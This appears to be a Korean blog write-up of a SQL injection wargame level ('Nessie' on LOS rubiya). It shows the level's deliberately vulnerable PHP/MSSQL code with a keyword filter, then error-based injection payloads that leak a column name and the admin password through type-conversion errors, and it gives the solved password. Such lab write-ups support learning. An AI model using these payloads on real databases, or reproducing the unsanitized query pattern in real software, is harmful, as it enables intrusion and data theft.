vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • trim
  • iconcahce
  • sql injection
  • forensic artifacts
  • Digital Forensic
  • webhacking.kr
  • Digital-Forensic
  • Artifacts
  • File Execution
  • ssd
  • Los
  • LNK FIile
  • shellbag
  • shellbag forensics
  • Thumbcache
  • digital-forensics
  • Windows Artifact
  • JavaScript
  • forensic-cheatsheet

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared
WriteUp/LOS_rubiya

LOS -rubiya : Nessie

WriteUp/LOS_rubiya

LOS -rubiya : Nessie

2020. 5. 15. 00:03

<코드 분석>

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select pw from prob_nessie where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("nessie"); 
  highlight_file(__FILE__);
?>

처음보는게 많다. 일단 코드부터 보자.

master / sys / information / prob / waitfor / _  필터링 되고 있다.

sqlsrv ??? 이게 처음보는 거다.

ms-sql 이네. 에러가 생기면 error 문을 보여준다.


<해설>

error base sql injection 으로 해결하면 좋지않을까 생각이 들었다.

역시 맞다.

?id=admin' and (select (Len(pw)>0) union select 1) --

이제 에러를 어떻게 유발해줄지를 고민해봐야 하는데

?id=a' having 1=1 --

이렇게 입력을 해주게 된다면,

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_nessie.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

이런 에러 메시지를 준다. 여기서 prob_nessie.id 라는 id 컬럼이 유출된 것을 알 수 있다.

 

이제 pw 를 찾아보도록 하자.

?id=admin&pw=1' or id='admin' and pw=1 --

이렇게 주게 되면, 질의하는 과정에서 , pw =1 (varchar가 아님) 이기 때문에, 오류가 생기게 된다.

이 과정에서 원래 pw 값을 convert 하는 과정이 생기게 되고, error 메시지에 그값을 보여주는 것이다.

자료형을 이용해서 에러 메시지에 원하는 값을 띄워줄 수 있다.

 

 

uawe0f9ji34fjkl

 

 

Clear!

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS -rubiya : Kraken  (0) 2020.05.20
LOS -rubiya : Mummy  (0) 2020.05.18
LOS -rubiya : revenant  (0) 2020.05.14
LOS -rubiya : Yeti  (0) 2020.05.14
LOS -rubiya : Skeleton  (0) 2020.05.13
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS -rubiya : Kraken
    • LOS -rubiya : Mummy
    • LOS -rubiya : revenant
    • LOS -rubiya : Yeti
    vared
    vared

    티스토리툴바

    단축키

    내 블로그

    내 블로그 - 관리자 홈 전환
    Q
    Q
    새 글 쓰기
    W
    W

    블로그 게시글

    글 수정 (권한 있는 경우)
    E
    E
    댓글 영역으로 이동
    C
    C

    모든 영역

    이 페이지의 URL 복사
    S
    S
    맨 위로 이동
    T
    T
    티스토리 홈 이동
    H
    H
    단축키 안내
    Shift + /
    ⇧ + /

    * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.